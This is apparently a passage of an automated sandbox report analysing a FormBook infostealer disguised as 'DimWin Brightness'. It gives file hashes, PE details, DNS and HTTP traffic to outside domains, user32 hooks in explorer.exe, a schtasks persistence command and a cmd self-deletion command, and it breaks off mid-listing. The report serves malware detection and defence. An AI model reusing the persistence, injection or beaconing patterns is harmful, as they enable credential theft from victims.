SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.606069522598356
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	010013.exe
File size:	601600
MD5:	b670879d45e75eb7f88fe047f9e88e5f
SHA1:	7497d669a327aebf33ec9dd1c554444d4ee826cf
SHA256:	ec427d5a521cdc4f2690ac7ffa883c982c4e3008991127998b0cfdf32f240f30
SHA512:	b3f60dc3e35babbce28cbbdb21e067dbdfa41b05ccfb35693bc4c84db90fe32551701924ede85517cd5676cca999a16d3bffc71175a97b1ea74ad41cfcc45839
SSDEEP:	12288:LQjPkrSB8R8NmZHakSp3dB8ls0eOKsRJBOBnylN2:MjPpB+8AVaXr0JZ/KnKN
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Qfa..............0.."...........@... ...`....@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x494082
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x616651A1 [Wed Oct 13 03:25:21 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x94030	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x96000	0x610	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x98000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x92088	0x92200	False	0.842114320466	data	7.61582081487	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x96000	0x610	0x800	False	0.33837890625	data	3.46983259405	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x98000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x96090	0x380	data
RT_MANIFEST	0x96420	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2015
Assembly Version	2.0.1.0
InternalName	AnsiBSTRMarshal.exe
FileVersion	2.0.1.0
CompanyName	reblGreen Software Ltd
LegalTrademarks
Comments
ProductName	DimWin Brightness
ProductVersion	2.0.1.0
FileDescription	DimWin Brightness
OriginalFilename	AnsiBSTRMarshal.exe

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2021 13:38:44.015281916 CEST	49791	80	192.168.2.4	199.59.242.153
Oct 13, 2021 13:38:44.115080118 CEST	80	49791	199.59.242.153	192.168.2.4
Oct 13, 2021 13:38:44.118489981 CEST	49791	80	192.168.2.4	199.59.242.153
Oct 13, 2021 13:38:44.118587971 CEST	49791	80	192.168.2.4	199.59.242.153
Oct 13, 2021 13:38:44.218379974 CEST	80	49791	199.59.242.153	192.168.2.4
Oct 13, 2021 13:38:44.219188929 CEST	80	49791	199.59.242.153	192.168.2.4
Oct 13, 2021 13:38:44.219228029 CEST	80	49791	199.59.242.153	192.168.2.4
Oct 13, 2021 13:38:44.219244003 CEST	80	49791	199.59.242.153	192.168.2.4
Oct 13, 2021 13:38:44.219377041 CEST	49791	80	192.168.2.4	199.59.242.153
Oct 13, 2021 13:38:44.219434023 CEST	49791	80	192.168.2.4	199.59.242.153

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2021 13:38:27.073447943 CEST	49714	53	192.168.2.4	8.8.8.8
Oct 13, 2021 13:38:27.103349924 CEST	53	49714	8.8.8.8	192.168.2.4
Oct 13, 2021 13:38:43.908369064 CEST	63153	53	192.168.2.4	8.8.8.8
Oct 13, 2021 13:38:44.011991978 CEST	53	63153	8.8.8.8	192.168.2.4
Oct 13, 2021 13:39:04.734747887 CEST	56534	53	192.168.2.4	8.8.8.8
Oct 13, 2021 13:39:04.756268024 CEST	53	56534	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 13, 2021 13:38:27.073447943 CEST	192.168.2.4	8.8.8.8	0xb54f	Standard query (0)	www.smithridge.net	A (IP address)	IN (0x0001)
Oct 13, 2021 13:38:43.908369064 CEST	192.168.2.4	8.8.8.8	0x93f2	Standard query (0)	www.lifestyleeve.com	A (IP address)	IN (0x0001)
Oct 13, 2021 13:39:04.734747887 CEST	192.168.2.4	8.8.8.8	0x3f4e	Standard query (0)	www.myceliated.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 13, 2021 13:38:27.103349924 CEST	8.8.8.8	192.168.2.4	0xb54f	Name error (3)	www.smithridge.net	none	none	A (IP address)	IN (0x0001)
Oct 13, 2021 13:38:44.011991978 CEST	8.8.8.8	192.168.2.4	0x93f2	No error (0)	www.lifestyleeve.com		199.59.242.153	A (IP address)	IN (0x0001)
Oct 13, 2021 13:39:04.756268024 CEST	8.8.8.8	192.168.2.4	0x3f4e	Name error (3)	www.myceliated.com	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.lifestyleeve.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49791	199.59.242.153	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 13, 2021 13:38:44.118587971 CEST	6237	OUT	GET /o4ms/?X61HiLc=8GNZfXhxkQPDp/0Q3wwiQDJ4fZPKroBOtzHsTvHuSmq05FSo/HrWX19J684oFY+7hHWk&jHPhl=5jo4ZxbHw HTTP/1.1 Host: www.lifestyleeve.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 13, 2021 13:38:44.219188929 CEST	6242	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 13 Oct 2021 11:38:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: parking_session=d071644c-350b-9aea-2d9b-70a504d7b3bd; expires=Wed, 13-Oct-2021 11:53:44 GMT; Max-Age=900; path=/; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_SuEUGgy7LID+aVnkGYt+Amyi8rqPTwcnZPcBVXI3DSv4dD5sK8yzh4BONnC2ab6f6ZEZ5XJeo5x9LOZxCuckbw== Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-store, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Data Raw: 35 39 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 53 75 45 55 47 67 79 37 4c 49 44 2b 61 56 6e 6b 47 59 74 2b 41 6d 79 69 38 72 71 50 54 77 63 6e 5a 50 63 42 56 58 49 33 44 53 76 34 64 44 35 73 4b 38 79 7a 68 34 42 4f 4e 6e 43 32 61 62 36 66 36 5a 45 5a 35 58 4a 65 6f 35 78 39 4c 4f 5a 78 43 75 63 6b 62 77 3d 3d 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 72 6b 69 6e 67 2e 62 6f 64 69 73 63 64 6e 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 20 63 72 6f 73 73 Data Ascii: 595<!doctype html><html lang="en" data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_SuEUGgy7LID+aVnkGYt+Amyi8rqPTwcnZPcBVXI3DSv4dD5sK8yzh4BONnC2ab6f6ZEZ5XJeo5x9LOZxCuckbw=="><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"/><link rel="preconnect" href="https://www.google.com" crossorigin><link rel="dns-prefetch" href="https://parking.bodiscdn.com" crossorigin><link rel="dns-prefetch" href="https://fonts.googleapis.com" cross
Oct 13, 2021 13:38:44.219228029 CEST	6243	IN	Data Raw: 6f 72 69 67 69 6e 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 3d 27 6f 70 61 63 69 74 79 3a 20 30 27 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 70 61 72 6b 20 Data Ascii: origin></head><body><div id="target" style='opacity: 0'></div><script>window.park = "eyJ1dWlkIjoiZDA3MTY0NGMtMzUwYi05YWVhLTJkOWItNzBhNTA0ZDdiM2JkIiwicGFnZV90aW1lIjoxNjM0MTI1MTI0LCJwYWdlX3VybCI6Imh0dHA6XC9cL3d3dy5saWZlc3R5bGVldmUuY29tXC9vNG1zXC
Oct 13, 2021 13:38:44.219244003 CEST	6243	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: user32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x89 0x9E 0xEF
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x81 0x1E 0xEF
GetMessageW	INLINE	0x48 0x8B 0xB8 0x81 0x1E 0xEF
GetMessageA	INLINE	0x48 0x8B 0xB8 0x89 0x9E 0xEF

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 010013.exe PID: 1568 Parent PID: 5720

General

Start time:	13:37:02
Start date:	13/10/2021
Path:	C:\Users\user\Desktop\010013.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\010013.exe'
Imagebase:	0x4c0000
File size:	601600 bytes
MD5 hash:	B670879D45E75EB7F88FE047F9E88E5F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.707455914.00000000028F1000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: schtasks.exe PID: 6420 Parent PID: 1568

General

Start time:	13:37:13
Start date:	13/10/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\ELqDlkdxF' /XML 'C:\Users\user\AppData\Local\Temp\tmp30F5.tmp'
Imagebase:	0xc20000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 1320 Parent PID: 6420

General

Start time:	13:37:13
Start date:	13/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: 010013.exe PID: 2128 Parent PID: 1568

General

Start time:	13:37:13
Start date:	13/10/2021
Path:	C:\Users\user\Desktop\010013.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\010013.exe
Imagebase:	0x460000
File size:	601600 bytes
MD5 hash:	B670879D45E75EB7F88FE047F9E88E5F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3424 Parent PID: 2128

General

Start time:	13:37:15
Start date:	13/10/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: netsh.exe PID: 6648 Parent PID: 3424

General

Start time:	13:37:43
Start date:	13/10/2021
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\netsh.exe
Imagebase:	0x9f0000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 6680 Parent PID: 6648

General

Start time:	13:37:47
Start date:	13/10/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\010013.exe'
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6600 Parent PID: 6680

General

Start time:	13:37:47
Start date:	13/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: 010013.exe PID: 1568 Parent PID: 5720 010013.exeCOMMON

Executed Functions

Function 00C7E6B8, Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.706796101.0000000000C70000.00000040.00000001.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53c8c8feb73049c158a1a462f538db5d03156435aa2cc28ec0217df5afb50771
Instruction ID: 08e31c7bf023f69a4b9ad7c50633844ac366061eb087771da60b17a775fbaa5b
Opcode Fuzzy Hash: 53c8c8feb73049c158a1a462f538db5d03156435aa2cc28ec0217df5afb50771
Instruction Fuzzy Hash: 4B12C9F1C937668BD310CF65E8885893FB1B785329BD1CA09D261AFAD0D7B4116ACF48

Uniqueness

Uniqueness Score: -1.00%

Function 07725F40, Relevance: .2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.718129842.0000000007720000.00000040.00000001.sdmp, Offset: 07720000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af8278fb564f0c052c5a555879658cf849aa7919f48d49e97ca533b33d6db1ac
Instruction ID: 8987c3f6519f2468db324d52fc61fe07fd4bad9cf1ef726f9f1867ad02afcff1
Opcode Fuzzy Hash: af8278fb564f0c052c5a555879658cf849aa7919f48d49e97ca533b33d6db1ac
Instruction Fuzzy Hash: 65A135B4E00229CFDB00CFE9C584A9EBBF6AF49344F24856AD419EB746D734A942CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00C7E6AB, Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.706796101.0000000000C70000.00000040.00000001.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1da4b59520812b6455d9ab9c8a7a4e7cd37eaa0580c7604b583ae9076e3a152e
Instruction ID: b3656e81ca5965ab8e02ea4e1e82c78b773e661254cee9d4f396034323f04ef6
Opcode Fuzzy Hash: 1da4b59520812b6455d9ab9c8a7a4e7cd37eaa0580c7604b583ae9076e3a152e
Instruction Fuzzy Hash: 30C11BF1C927668BD710DF65E8886893FB1BB85328FD18B09D161AF6D0D7B4106ACF48

Uniqueness

Uniqueness Score: -1.00%

Function 07725F30, Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.718129842.0000000007720000.00000040.00000001.sdmp, Offset: 07720000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 651359c92fb4fefd6ca37cd8d813c4f885f779f6005e283f179bca3b3a29746d
Instruction ID: 751ce11f6a8735e3c6d6fb80e318323f836592720b9b9a7df16ad76487650af4
Opcode Fuzzy Hash: 651359c92fb4fefd6ca37cd8d813c4f885f779f6005e283f179bca3b3a29746d
Instruction Fuzzy Hash: 3A7134B4E042188FDB04CFE9C544AEEBBF6AF89344F24846AC418EB746E7349942CB51

Uniqueness

Uniqueness Score: -1.00%

Function 07727CDC, Relevance: 1.8, APIs: 1, Instructions: 251processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07727F1E

Memory Dump Source

Source File: 00000000.00000002.718129842.0000000007720000.00000040.00000001.sdmp, Offset: 07720000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: e05fd1d3dc1e396d95991a0e6245f5a3e96e205d9de08a6b89d55ef3e16318e8
Instruction ID: 7aa38707b90ffeba8770b40ce8c77ebc994b67eb737b60c8ec6456aec13a8eaf
Opcode Fuzzy Hash: e05fd1d3dc1e396d95991a0e6245f5a3e96e205d9de08a6b89d55ef3e16318e8
Instruction Fuzzy Hash: DAA1A0B1D00229DFDB14CF68C9817EDBBB2BF48304F148969D919A7240DB749986DF92

Uniqueness

Uniqueness Score: -1.00%

Function 07727CE8, Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON

Download Yara Rule

APIs

